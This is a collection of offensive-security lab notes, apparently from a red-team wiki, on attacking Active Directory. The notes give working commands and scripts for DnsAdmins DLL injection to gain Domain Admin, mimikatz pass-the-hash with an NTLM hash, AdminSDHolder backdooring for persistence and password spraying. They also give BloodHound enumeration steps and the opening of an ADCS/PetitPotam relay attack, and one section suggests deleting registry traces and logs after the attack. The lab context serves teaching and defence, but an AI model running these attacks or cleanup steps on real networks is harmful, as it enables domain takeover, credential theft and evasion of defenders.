Now the next time dns service starts, our malicious DLL should be loaded to the dns.exe process and a reverse shell should be sent back to our attacking system, so let's go and restart the DNS service:

{% code title="attacker\@victim" %}

```csharp
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
```

{% endcode %}

By this point, I should have received a reverse shell, but unfortunately, I did not.

After checking the DNS logs on the `DC01` I saw the below error, suggesting there was something off with my DLL:

![](/files/-LR3kGZS5dPfxkFl6WeU)

I tried exporting functions with C++ name mangling and without and although the DLL exports seemed to be OK per CFF Explorer, I was still not able to make the DC load my malicious DLL successfully without corrupting the dns service:

![](/files/-LR3kE5uTrxeT3k4Dw-E)

{% hint style="warning" %}
Although I was not able to correctly inject the DLL without crashing the dns service in my lab environment, I still decided to publish these notes, in case they will be stubmled upon by a reader who had successfully injected a custom DLL and who would like to share their thoughts on what I am overlooking as this would be much appreciated.
{% endhint %}

Since I could not get my malicious DLL injected into the dns.exe successfully, I thought of trying to inject the meterpreter payload using the same technique.

It can be observed, that the DLL with meterpreter payloads gets ineed loaded and we receive a call back attempt from meterpreter, but since the DLL does not conform to the required format (does not have required exported functions), the session dies immediately (or this is what I thought initially - as you will later see, it turns out I was simply using a wrong listener):

![](/files/-LR3uOQ_KgAgiNUsHjpj)

Since the above suggests that the the DLL code still got executed, we can try asking the DLL to execute the following on the DC:

```csharp
net group 'domain admins' spotless /add /domain
```

```
dnsprivesc.dll
```

![](/files/-LR3zL4_XFWCzWmEAcPl)

Before restarting the DNS service and getting our malicious DLL executed, let's make sure our attacking user `spotless` is not in `Domain Admins` group:

![](/files/-LR406u5llhnZHGqfoCg)

Now if we restart the DNS service which will load our `addDA.dll`, we see that the user `spotless` is now a member of the `Domain Admins`:

![](/files/-LR408ZJJMolcT1DcOoL)

{% hint style="danger" %}
Warning: at this time the DNS service is probably crashed, so be warned - using DLLs that do not conform to the plugin requirements is not stealthy and this type of activity probably will get picked up by defenders really quickly unless you can restore the DNS service immediately.
{% endhint %}

Below confirms that the dns service is down, however we can still access the DC C$ share by DC's IP from our spotless user, meaning that we have escalated privileges to DA:

![](/files/-LR41S-MWzZ55043ISaz)

One could think about scripting/automating the after-attack cleanup and the DNS service restoration and include the required code in the same malicious DLL that creates a backdoor user in the first place:

{% code title="attacker\@victim" %}

```csharp
reg query \\10.0.0.6\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters
reg delete \\10.0.0.6\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
sc.exe \\10.0.0.6 stop dns
sc.exe \\10.0.0.6 start dns
//remove any other traces/logs
```

{% endcode %}

![](/files/-LR44KAs1K0dRuQZu7sn)

Once the DNS service is restored, we can now access the C$ using DC01 computer name:

![](/files/-LR44v5SZofx3hvBlMFs)

### Bonus Reminder

It turns out that the reason the meterpreter payload failed because of a classic mistake of not using the right listener for staged/non-staged payloads - always double check your payloads and make sure that the listeners are able to handle the callbacks.

Once I set up the listener correctly, the meterpreter shell came back as expected - note that the dns.exe service still gets corrupted.

![](/files/-LR8w9CHtt_ubtREjTD4)

## Observations

As a defender, one should considering monitoring for suspicious child processes (rundll32, powershell, cmd, net, etc.) spawned by the dns.exe on DCs:

![](/files/-LR8yMOo0_kRg4tTDKu4)

Also, you may want to consider monitoring `HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters` value `ServerLevelPluginDll`, especially if it begins with string `\\` in the data field.

## Update #1

I was pointed out by a reader that a video by ippsec <https://youtu.be/8KJebvmd1Fk?t=3130> explains why the dns service was crashing, so please check the video, but if you are too lazy, the answer is provided here too.

You need to execute your code in a **new thread** (this was the missing piece in my first attempt that made the service crash) in the exported DLL function `DnsPluginInitialize`, which is the function that gets invoked, when the dnscmd loads our malicious DNS service plugin DLL.

## References

{% embed url="<https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83>" %}

{% embed url="<http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html>" %}

{% embed url="<https://github.com/dim0x69/dns-exe-persistance>" %}


# Pass the Hash with Machine$ Accounts

This lab looks at leveraging machine account NTLM password hashes or more specifically - how they can be used in pass the hash attacks to gain additional privileges, depending on which groups the machine is a member of (ideally administrators/domain administrators).

This labs is based on an assumption that you have gained local administrator privileges on a workstation (machine), let's call it `WS01$`. Since you have done your AD enumeration, you notice that the WS01$ is a member of `Domain Admins` group - congratulations, you are one step away from escalating from local admin to Domain Admin and a full domain compromise.

## Execution

Finding domain computers that are members of interesting groups:

{% code title="attacker\@victim" %}

```csharp
Get-ADComputer -Filter * -Properties MemberOf | ? {$_.MemberOf}
```

{% endcode %}

![](/files/-LUukkle52vfUfQNN4La)

Of course, the same can be observed by simply checking the Domain Admins net group:

{% code title="attacker\@victim" %}

```csharp
net group "domain admins" /domain
```

{% endcode %}

![](/files/-LUuzQKXm9SftLBJy13u)

or administrators group (not applicable to our lab, but showing as a sidenote):

{% code title="attacker\@victim" %}

```csharp
net localgroup administrators /domain
```

{% endcode %}

![](/files/-LUuzgWNIscLmiaWHJ0V)

In AD, the highlighted part can be seen here:

![](/files/-LUuovUEZ_wDea99EdgM)

Extracting the machine `WS01$` NTLM hash after the admin privileges were gained on the system:

{% code title="attacker\@victim" %}

```csharp
sekurlsa::logonPasswords
```

{% endcode %}

![](/files/-LUukZyRrwlCf8zDRmIW)

Let's check that our current compromised user `ws01\mantvydas` (local admin on ws01) cannot access the domain controller DC01 just yet:

![](/files/-LUukbZs8ndBgu0jksV7)

Since WS01$ machine is a member of `Domain Admins` and we have extracted the machine's hash with mimikatz, we can use mimikatz to pass that hash and effectively elevate our access to Domain Admin:

{% code title="attacker\@victim" %}

```csharp
sekurlsa::pth /user:ws01$ /domain:offense.local /ntlm:ab53503b0f35c9883ff89b75527d5861
```

{% endcode %}

![](/files/-LUup_h6QZz_PyGpjBdZ)

Below shows how the machine's hash is passed which results in an elevated cmd.exe prompt. Using the elevated prompt enables us to access the domain controller as shown with `dir \\dc01\c$`:

![](/files/-LUuke2W4awh1X2YwEoi)

## Remember

It's worth re-emphasizing that computer/machine accounts are essentially the same as user accounts and can be as dangerous if misconfigured.

Let's create a new machine account with powermad like so:

```csharp
New-MachineAccount -MachineAccount testmachine
```

![](/files/-LoB_H5TjHeuvoRB0YvW)

Now, let's say someone added the testmachine$ account into Domain Admins:

```csharp
Get-NetGroupMember "domain admins" | select membern*
```

![](/files/-LoBgH9nlN3r5nD25Cx0)

...if we somehow get hold of the testmachine$ password, we can escalate to a DA. We can check this by opening a new console and logging in as testmachine$ with `/netonly` flag. Note how initially the user spotless cannot list files on the DC01, but once `runas /user:testmachine$ /netonly powershell` is run and the password is provided, DC01 is no longer complaining and allows spotless listing its file system:

![](/files/-LoBft21u9a7ydX7lrKM)

## References

{% embed url="<https://blog.secarma.co.uk/labs/using-machine-account-passwords-during-an-engagement>" %}

{% embed url="<https://www.c0d3xpl0it.com/2018/05/machine-accounts-in-pentest-engagement.html?m=1>" %}


# BloodHound with Kali Linux: 101

This lab is to see what it takes to install BloodHound on Kali Linux as well as a brief exploration of the UI, understanding what it shows and how it can help a pentester/redteamer to escalate privileges in order to reach their objectives.

## What is BloodHound

> BloodHound is a single page Javascript web application, built on top of [Linkurious](http://linkurio.us/), compiled with [Electron](http://electron.atom.io/), with a [Neo4j](https://neo4j.com/)database fed by a PowerShell ingestor.
>
> BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify. Defenders can use BloodHound to identify and eliminate those same attack paths. Both blue and red teams can use BloodHound to easily gain a deeper understanding of privilege relationships in an Active Directory environment.
>
> BloodHound is developed by [@\_wald0](https://www.twitter.com/_wald0), [@CptJesus](https://twitter.com/CptJesus), and [@harmj0y](https://twitter.com/harmj0y).
>
> From <https://github.com/BloodHoundAD/BloodHound>

## Installing BloodHound

It is surprising easy to install bloodhound these days from Kali Linux:

{% code title="attacker\@kali" %}

```csharp
apt-get install bloodhound
```

{% endcode %}

Part of the installation process, neo4j database management solution that is required for BloodHound will also be installed that will need to be configured.

## Configuring BloodHound

Once the installation is complete, we need to configure neo4j - mainly just change default passwords, so let's run:

{% code title="attacker\@kali" %}

```csharp
neo4j console
```

{% endcode %}

![](/files/-LVJvyGRKn2hHvQoKW8p)

and navigate to <http://localhost:7474/> to set up a DB user account by changing default passwords from **neo4j:neo4j** to something else - we will need those credentials when launching BloodHound itself.

## Running BloodHound

{% code title="attacker\@kali" %}

```
bloodhound
```

{% endcode %}

Login with your previously set credentials from neo4j:

![](/files/-LVJwu10lo2BDiRszdhA)

## Enumeration & Data Ingestion

BloodHound is a data visualisation tool, meaning without any data is not at all useful. BloodHound is very good at visualising Active Directory object relationships and various permissions between those relationships.&#x20;

In order for BloodHound to do its magic, we need to enumerate a victim domain. The enumeration process produces a JSON file that describes various relationships and permissions between AD objects as mentioned earlier, which can then be imported to BloodHound. Once the resulting JSON file is ingested/imported to BloodHound, it will allow us to visually see the ways (if any) how Active Directory and its various objects can be (ab)used to elevate privileges, ideally to Domain Admin.

### SharpHound

The tool that does the aforementioned AD enumeration is called [SharpHound](https://github.com/BloodHoundAD/BloodHound/tree/master/Ingestors).

I tried running the SharpHound (the BloodHound ingestor, just a confusing name) from an account that was not a domain member, so I got the following message:

![](/files/-LVFqvlwt4eKRVexBNa1)

If you are on a machine that is a member, but you are authenticated as a local user, but have credentials for a domain user, get a shell for that user like so:

{% code title="attacker\@victim" %}

```csharp
runas /user:spotless@offense powershell

// if machine is not a domain member
runas /netonly /user:spotless@offense powershell
```

{% endcode %}

We can now proceed to AD enumeration:

{% code title="attacker\@victim" %}

```csharp
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -JSONFolder "c:\experiments\bloodhound"
```

{% endcode %}

The above command will produce the previously mentioned JSON file, albeit zipped:

![](/files/-LVK0a8TqC7beOsH2SU4)

We can now take the .zip file that was generated by Invoke-BloodHound and just drag and drop it to the BloodHound interface for ingestion. Once the ingestion is complete, we can play around with Pre-canned queries that actually visualise the provided data:

![](/files/-LVK18q1AtacGzaf-b0J)

## Execution

Once the data is ingested, as mentioned, we can play around with the built in queries to find things like `All Domain Admins`,  `Shortest Path to Domain Admins` and similar, that may help us as an attacker to escalate privileges and compromise the entire domains/forest.

### Example #1: User to Exchange Trusted Subsytem

A contrived and maybe not entirely realistic, but still - the below shows how an attacker could assume privileges of `Exchange Trusted Subsystem` group when on the victim network as user spotless:

![](/files/-LVFxvAh_1EioHTYTaqp)

The above indicates that `offense\spotless` is admin to the `DC01$` (could use mimikatz to pass the machine account hash to get an elevated shell) where `offense\administrator` session is observed (dump lsass or token impersonation for administrator) and this way assume rights of the Exchange Trusted Subsystem group!

What exactly is the Exchange Trusted Subsystem?

```css
net group "Exchange Trusted Subsystem"
Group name     Exchange Trusted Subsystem
Comment        This group contains Exchange servers that run Exchange cmdlets on behalf of users via the management serv
ice. Its members have permission to read and modify all Exchange configuration, as well as user accounts and groups. Thi
s group should not be deleted.
```

### Example #2: User to Domain Admin via AdminTo and MemberOf

The below shows how the user spotless could assume privileges of a Domain Admin.

Similarly to the previous example, spotless is admin of the DC01$ where admin session is established. If that session is compromised (it is), it makes the user spotless a Domain Admin:

![](/files/-LVFzsS80y8TSUOMbCNQ)

### Example #3: User to Domain Admin via Weak ACEs

The below shows how the user spotless can become a Domain Admin by [abusing weak ACEs](/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#genericall-on-group) of the said group. In this particular example, the user spotless can essentially add themselves to domain admins group with `net group "domain admins" spotless /add /domain` and it is gamer over:

![](/files/-LVFzf9PPbgEBAoqwoT7)

See my previous lab that explores some of the ways of manually exploiting and abusing Active Directory ACL/ACE misconfiguration of privileges such as `AddMember`, `GenericWrite`, `GenericAll` and similar:

{% content-ref url="/pages/-LQimOasCuAaGC6hgChU" %}
[Abusing Active Directory ACLs/ACEs](/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
{% endcontent-ref %}

## References

{% embed url="<https://github.com/BloodHoundAD/BloodHound/wiki>" %}


# Backdooring AdminSDHolder for Persistence

## AdminSDHolder

`AdminSDHolder` is a special AD container with some "default" security permissions that is used as a template for protected AD accounts and groups (like Domain Admins, Enterprise Admins, etc.) to prevent their accidental and unintended modifications, and to keep them secure.

Once you have agained Domain Admin privileges, `AdminSDHolder` container can be abused by backdooring it by giving your user `GenericAll` privileges, which effectively makes that user a Domain Admin.

## Execution

Backdooring the AdminSDHolder container by adding an ACL that provides user `spotless` with `GenericAll` rights for `Domain Admins` group:

```csharp
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName spotless -Verbose -Rights All
```

![](/files/-LUCH33S5F2Mo8deODvd)

This is actually what happens to the container - the security ACLs get updated and `spotless` gets all the privileges:

![](/files/-LUCHgR3tZqRdzO7-KMb)

After 60+ minutes, the changes will propagate automatically, but if you want to force it (if you are testing this in your labs), you can do it via ldp.exe by Modifying DN like so:

![](/files/-LUCRsg63I5lldwtMGTV)

Now, confirming that the user spotless has got `GenericAll` privileges against `Domain Admins` group:

```csharp
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
```

![](/files/-LUCRym1OImSYvQseI5Y)

We can now hop back to the Domain Admins any time we want to:

![](/files/-LUCSgQPfEQcZZSpJy_E)

In fact, we do not even need to be part of DA group, we still have full access to the DC:

![](/files/-LUCUBgH4YE568OiowUl)

## References

{% embed url="<http://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/>" %}

{% embed url="<https://blogs.technet.microsoft.com/askds/2009/05/07/five-common-questions-about-adminsdholder-and-sdprop/>" %}

{% embed url="<https://adsecurity.org/?p=1906>" %}

{% embed url="<https://blog.stealthbits.com/persistence-using-adminsdholder-and-sdprop/>" %}


# Active Directory Enumeration with AD Module without RSAT or Admin Privileges

This lab shows how it is possible to use Powershell to enumerate Active Directory with Powershell's `Active Directory` module on a domain joined machine that does not have Remote Server Administration Toolkit (RSAT) installed on it. Installing RSAT requires admin privileges and is actually what makes the AD Powershell module available and this lab shows how to bypass this obstacle.

## Execution

The secret to being able to run AD enumeration commands from the AD Powershell module on a system without RSAT installed, is the DLL located in `C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management` on a system that **has the RSAT** installed:

![](/files/-LXnje_g_xLCfZcuPZ0g)

This means that we can just grab the DLL from the system with RSAT and drop it on the system we want to enumerate from (that does not have RSAT installed) and simply import that DLL as a module:

```csharp
Import-Module .\Microsoft.ActiveDirectory.Management.dll
```

Note how before we import the module, `Get-Command get-adcom*` returns nothing, but that changes once we import the module:

![](/files/-LXnjcuMjG6R9LynV7Dk)

As mentioned earlier, this does not require the user have admin privileges:

![](/files/-LXnmtzAbfr4rm3m4-0x)

## Download Management.DLL

{% file src="/files/-LXnmT6gbXUvKgr\_h3AE" %}
Microsoft.ActiveDirectory.Management.dll
{% endfile %}

## Reference

{% embed url="<https://scriptdotsh.com/index.php/2019/01/01/active-directory-penetration-dojo-ad-environment-enumeration-1/>" %}


# Enumerating AD Object Permissions with dsacls

Enumeration, living off the land

It is possible to use a native windows binary (in addition to powershell cmdlet `Get-Acl`) to enumerate Active Directory object security persmissions. The binary of interest is `dsacls.exe`.

Dsacls allows us to display or modify permissions (ACLS) of an Active Directory Domain Services (AD DS).

## Execution

Let's check if user `spot` has any special permissions against user's `spotless` AD object:

{% code title="attacker\@victim" %}

```csharp
dsacls.exe "cn=spotless,cn=users,dc=offense,dc=local" | select-string "spot"
```

{% endcode %}

Nothing useful:

![](/files/-LaN7itzG7az7P-wRr6s)

Let's give user spot `Reset Password` and `Change Password` permissions on `spotless` AD object:

![](/files/-LaN7_JUpqnM0gcxouwl)

...and try the command again:

{% code title="attacker\@victim" %}

```csharp
dsacls.exe "cn=spotless,cn=users,dc=offense,dc=local" | select-string "spot"
```

{% endcode %}

![](/files/-LaN7R50_E37uFhKaILH)

### Full Control

All well known (and abusable) AD object permissions should be sought here. One of them is `FULL CONTROL`:

{% code title="attacker\@victim" %}

```csharp
dsacls.exe "cn=spotless,cn=users,dc=offense,dc=local" | select-string "full control"
```

{% endcode %}

![](/files/-LaN9WENW2egvrpo8X9K)

### Add/Remove self as member

{% code title="attacker\@victim" %}

```csharp
dsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" | select-string "spotless"
```

{% endcode %}

![](/files/-LaNAHL_wSGsVIE5kfa3)

### WriteProperty/ChangeOwnerShip

![](/files/-LaNAksNf4H3bPs9BT0t)

Enumerating AD object permissions this way does not come in a nice format that can be piped between powershell cmd-lets, but it's still something to keep in mind if you do not the ability to use tools like powerview or ActiveDirectory powershell cmdlets or if you are trying to `LOL`.

For more good privileges to be abused:

{% content-ref url="/pages/-LTx64XAYznr7BOWOADR" %}
[Privileged Accounts and Token Privileges](/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
{% endcontent-ref %}

{% content-ref url="/pages/-LQimOasCuAaGC6hgChU" %}
[Abusing Active Directory ACLs/ACEs](/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
{% endcontent-ref %}

## Password Spraying Anyone?

As a side note, the `dsacls` binary could be used to do LDAP password spraying as it allows us to bind to an LDAP session with a specified username and password:

{% code title="incorrect logon" %}

```csharp
dsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" /user:spotless@offense.local /passwd:1234567
```

{% endcode %}

![Logon Failure](/files/-LaNCrJyr0IcdJ09FfvC)

{% code title="correct logon" %}

```csharp
dsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" /user:spotless@offense.local /passwd:123456
```

{% endcode %}

![Logon Successful](/files/-LaND3ClUvQm32WwdWmL)

### Dirty POC idea for Password Spraying:

{% code title="attacker\@victim" %}

```csharp
$domain = ((cmd /c set u)[-3] -split "=")[-1]
$pdc = ((nltest.exe /dcname:$domain) -split "\\\\")[1]
$lockoutBadPwdCount = ((net accounts /domain)[7] -split ":" -replace " ","")[1]
$password = "123456"

# (Get-Content users.txt)
"krbtgt","spotless" | % {
    $badPwdCount = Get-ADObject -SearchBase "cn=$_,cn=users,dc=$domain,dc=local" -Filter * -Properties badpwdcount -Server $pdc | Select-Object -ExpandProperty badpwdcount
    if ($badPwdCount -lt $lockoutBadPwdCount - 3) {
        $isInvalid = dsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" /user:$_@offense.local /passwd:$password | select-string -pattern "Invalid Credentials"
        if ($isInvalid -match "Invalid") {
            Write-Host "[-] Invalid Credentials for $_ : $password" -foreground red
        } else {
            Write-Host "[+] Working Credentials for $_ : $password" -foreground green
        }        
    }
}
```

{% endcode %}

![](/files/-LaNQokIjU3XkqUj39tP)

## References

{% embed url="<https://support.microsoft.com/en-gb/help/281146/how-to-use-dsacls-exe-in-windows-server-2003-and-windows-2000>" %}


# Active Directory Password Spraying

This lab explores ways of password spraying against Active Directory accounts.

## Invoke-DomainSpray

{% code title="attacker\@victim" %}

```csharp
Get-ADUser -Properties name -Filter * | Select-Object -ExpandProperty name |  Out-File users.txt
type users.txt
```

{% endcode %}

![](/files/-LaS-Z-2yoUohAqbiqyO)

{% code title="attacker\@victim" %}

```csharp
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```

{% endcode %}

![](/files/-LaS0LGdKDgXjx_NERm2)

## Spraying using dsacls

While I was poking around with dsacls for enumerating AD object permissions

{% content-ref url="/pages/-LaN7AYxitVAlWoQ1FPM" %}
[Enumerating AD Object Permissions with dsacls](/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions)
{% endcontent-ref %}

I noticed that one could attempt to bind to LDAP using specific AD credentials, so a dirty AD password spraying POC came about:

{% code title="attacker\@victim" %}

```csharp
$domain = ((cmd /c set u)[-3] -split "=")[-1]
$pdc = ((nltest.exe /dcname:$domain) -split "\\\\")[1]
$lockoutBadPwdCount = ((net accounts /domain)[7] -split ":" -replace " ","")[1]
$password = "123456"

# (Get-Content users.txt)
"krbtgt","spotless" | % {
    $badPwdCount = Get-ADObject -SearchBase "cn=$_,cn=users,dc=$domain,dc=local" -Filter * -Properties badpwdcount -Server $pdc | Select-Object -ExpandProperty badpwdcount
    if ($badPwdCount -lt $lockoutBadPwdCount - 3) {
        $isInvalid = dsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" /user:$_@offense.local /passwd:$password | select-string -pattern "Invalid Credentials"
        if ($isInvalid -match "Invalid") {
            Write-Host "[-] Invalid Credentials for $_ : $password" -foreground red
        } else {
            Write-Host "[+] Working Credentials for $_ : $password" -foreground green
        }        
    }
}
```

{% endcode %}

![](/files/-LaNQokIjU3XkqUj39tP)

## Spraying with Start-Process

Similarly to dsacls, it's possible to spray passwords with `Start-Process` cmdlet and the help of PowerView's cmdlets:

{% code title="spray-ldap.ps1" %}

```csharp
# will spray only users that currently have 0 bad password attempts
# dependency - powerview

function Get-BadPasswordCount {
    param(
        $username = "username",
        $domain = "offense.local"
    )
    $pdc = (get-netdomain -domain $domain).PdcRoleOwner
    $badPwdCount = (Get-NetUser $username -Domain $domain -DomainController $pdc.name).badpwdcount
    return $badPwdCount
}

$users = Get-netuser -properties samaccountname | Select-Object -ExpandProperty samaccountname
$domain = "offense.local"
$password = "123456"

Write-Host $users.Count users supplied; $users | % {
    $badPasswordCount = Get-BadPasswordCount -username $_ -Domain $domain
    if ($badPasswordCount -lt 0) {
        Write-Host Spraying : -NoNewline; Write-host -ForegroundColor Green " $_"
        $credentials = New-Object System.Management.Automation.PSCredential -ArgumentList @("$domain\$_",(ConvertTo-SecureString -String $password -AsPlainText -Force))
        Start-Process cmd -Credential ($credentials)
    } else {
        Write-Host "Ignoring $_ with $badPasswordCount badPwdCount" -ForegroundColor Red
    }
}
```

{% endcode %}

Enjoy the shells:

![](/files/-LexQt0wsAetdUeTSSjD)

## References

{% embed url="<https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1>" %}

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon>" %}


# Active Directory Lab with Hyper-V and PowerShell

Below are some notes with a couple of simple Powershell scripts that I use to:

* Promote a computer to Domain Controller
* Create an Active Directory (AD) domain `offense.local`
* Join computer to `offense.local` domain
* Create users in `offense.local` domain

{% hint style="danger" %}
The scripts are not intended to fully automate building of the Active Directory lab, rather they serve as cheatsheets that suit most of my needs most of the time.
{% endhint %}

I use Hyper-V to run my virtual machines (VM) which I installed manually:

* WS01 - Windows 10
* DC01 - Windows Server 2019

![](/files/-MU2qGI7kGe4KJHa_hNW)

## Promote Computer to Domain Controller

Below script establishes a Powershell Remoting session to the `DC01` VM using credentials `administrator:123456` (I set that password on `DC01` manually before running this script) and does the following:

* Congifures the IP/DNS addresses - Domain Controller `DC01` will have a static IP `10.0.0.6`;
* Installs AD services and management tools;
* Creates a domain `offense.local`.

{% hint style="info" %}
You may need to change the passwords depending on your password policies.
{% endhint %}

{% code title="Promote-DC.ps1" %}

```csharp
$plainPassword = "123456"
$password = $plainPassword | ConvertTo-SecureString -asPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential("administrator", $password)

$session = New-PSSession -Vmname dc01 -Credential $credential -Verbose

$code = {
    $plainPassword = "123456"
    $password = $plainPassword | ConvertTo-SecureString -asPlainText -Force
    $credential = New-Object System.Management.Automation.PSCredential("administrator", $password)

    netsh int ip set address "ethernet" static 10.0.0.6 255.255.255.0 10.0.0.6 1
    netsh int ip set dns "ethernet" static 10.0.0.6 primary 

    $domainName = "offense"
    $domain = "$domainName.local"

    Write-Host "Installing management tools"
    Import-Module ServerManager
    Add-WindowsFeature RSAT-AD-PowerShell,RSAT-AD-AdminCenter

    Write-Host "Deploying Active Directory Domain..."
    Install-WindowsFeature AD-domain-services, DNS -IncludeAllSubFeature -IncludeManagementTools -Restart
    Import-Module ADDSDeployment
    Install-ADDSForest `
    -SafeModeAdministratorPassword $password `
    -CreateDnsDelegation:$false `
    -DatabasePath "C:\Windows\NTDS" `
    -DomainMode "7" `
    -DomainName $domain `
    -DomainNetbiosName $domainName `
    -ForestMode "7" `
    -InstallDns:$true `
    -LogPath "C:\Windows\NTDS" `
    -NoRebootOnCompletion:$true `
    -SysvolPath "C:\Windows\SYSVOL" `
    -Force:$true

    Restart-Computer -Force -Verbose
}

Invoke-Command -Session $session -ScriptBlock $code
```

{% endcode %}

![Output of Promote-DC.ps1 ](/files/-MU2s1Mn7Sh9rtFBGYuZ)

## Join Computer to Domain

Below script establishes a Powershell Remoting session to the `WS01` VM using credentials `mantvydas:123456` (I set that password on `WS01` manually before running this script) and does the following:

* Configures IP/DNS settings - the workstation `WS01` will have a static IP `10.0.0.7` and a DNS pointing to `10.0.0.6`, which is our `DC01`;
* Adds computer to the domain.

{% code title="Join-Member.ps1" %}

```csharp
$plainPassword = "123456"
$password = $plainPassword | ConvertTo-SecureString -asPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential("mantvydas", $password)

$session = New-PSSession -Vmname ws01 -Credential $credential -Verbose

$code = {
    netsh int ip set address "ethernet" static 10.0.0.7 255.255.255.0 10.0.0.6 1
    netsh int ip set dns "ethernet" static 10.0.0.6 primary

    $plainPassword = "123456"
    $password = $plainPassword | ConvertTo-SecureString -asPlainText -Force
    $credential = New-Object System.Management.Automation.PSCredential("administrator", $password)    
    Add-computer -computername ws01 -domain offense.local -domaincredential $credential -Verbose -Restart
}

Invoke-Command -Session $session -ScriptBlock $code
```

{% endcode %}

## Create Domain Users

Below script establishes a Powershell Remoting session to the `DC01` VM and does the following:

* Creates some domain users
* Sets their passwords to `123456`

{% code title="Create-Users.ps1" %}

```csharp
$plainPassword = "123456"
$password = $plainPassword | ConvertTo-SecureString -asPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential("offense\administrator", $password)

$session = New-PSSession -Vmname dc01 -Credential $credential -Verbose

$code = {
    $plainPassword = "123456"
    $password = $plainPassword | ConvertTo-SecureString -asPlainText -Force
    $credential = New-Object System.Management.Automation.PSCredential("offense\administrator", $password)
    
    # Create users
    "spotless", "sandy", "bob" | % { New-ADUser $_ }
    
    # Reset users' passwords
    Get-ADUser -Filter *  -Properties samaccountname | select -exp samaccountname  | ? {$_ -notmatch "krb|guest"} | ForEach-Object { Write-host Changing password for $_ to $plainPassword; net user $_ $plainPassword | out-null }
}

Invoke-Command -Session $session -ScriptBlock $code
```

{% endcode %}

Before running this script, the password policy needs to be manually updated on `DC01`:

* Minimum password length: `0`
* Password must meet complexity requirements: `disabled`

![](/files/-MU3OGP5qlxDDQpdbD3f)

{% hint style="info" %}
Don't forget to run `gpupdate.exe` on the `DC01` for the new password policy to take affect. This step is mandatory before running `Create-Users.ps1` script, otherwise the user passwords will not be changed.
{% endhint %}

## Setting up Kali in Enhanced Session Mode

Execute the below in kali:

```bash
sudo git clone https://github.com/mimura1133/linux-vm-tools /opt/linux-vm-tools
sudo chmod 0755 /opt/linux-vm-tools/kali/2020.x/install.sh
sudo /opt/linux-vm-tools/kali/2020.x/install.sh
sudo reboot -f
```

Execute the below on the host OS with Hyper V, that is hosting your kali VM:

```bash
Set-VM "KALI02" -EnhancedSessionTransportType HVSocket
```


# ADCS + PetitPotam NTLM Relay: Obtaining krbtgt Hash with Domain Controller Machine Certificate

This is a quick lab to familiarize with an Active Directory Certificate Services (ADCS) + PetitPotam + NLTM Relay technique that allows attackers, given ADCS is misconfigured (which it is by default), to effectively escalate privileges from a low privileged domain user to Domain Admin.

The ADCS vulnerabilities were researched by [Will Schroeder](https://twitter.com/harmj0y) and [Lee Christensen](https://twitter.com/tifkin_) in [Certified Pre-Owned](https://posts.specterops.io/certified-pre-owned-d95910965cd2), [PetitPotam](https://github.com/topotam/PetitPotam) was researched by [Gilles Lionel @topotam77](https://twitter.com/topotam77), [ADCS attack](https://github.com/ExAndroidDev/impacket.git) implemented in impacket by [ExAndroidDev](https://twitter.com/exandroiddev).

## Conditions

Below are some of the conditions making an AD environment vulnerable to ADCS + NTLM relay attack:

* ADCS is configured to allow NTLM authentication;
* NTLM authentication is not protected by EPA or SMB signing;
* ADCS is running either of these services:
  * Certificate Authority Web Enrollment
  * Certificate Enrollment Web Service

## Overview

Below provides a high level overview of how the attack works:

1. Get a foothold in an AD network with a misconfigured ADCS instance;
2. Setup an NTLM relay listener on a box you control, so that incoming authentications are relayed to the misconfigured ADCS;
3. Force the target DC to authenticate (using PetitPotam or PrintSpooler trick) to the box running your NTLM relay;
4. Target DC attempts to authenticate to your NTLM relay;
5. NTLM relay receives the DC$ machine account authentication and relays it to the ADCS;
6. ADCS provides a certificate for the target DC$ computer account;
7. Use the target DC's computer account certificate to request its Kerberos TGT;
8. Use target DC's computer account TGT to perform [DCSync](/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync) and pull the NTLM hash of `krbtgt`;
9. Use `krbtgt` NTLM hash to create [Golden Tickets](/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets) that allow you to impersonate any domain user, including Domain Admin.

Below graphic visualizes the concept:

![PetitPotam: NTLM Relay to AD CS flow diagram](/files/kFrAELYsdUntBP5mwr5q)

## Domain Takeover

### Lab Setup

This part of the lab is setup with the following computers and servers:

* 10.0.0.5 - Kali box with NTLM relay;
* 10.0.0.6 - target Domain Controller `DC01`. This is the target DC that we will coerce to authenticate to our NTLM relay on 10.0.0.5;
* 10.0.0.10 - Certificate Authority (`CA01`). This is where our NTLM relay 10.0.0.5 will forward `DC01` authentication to;
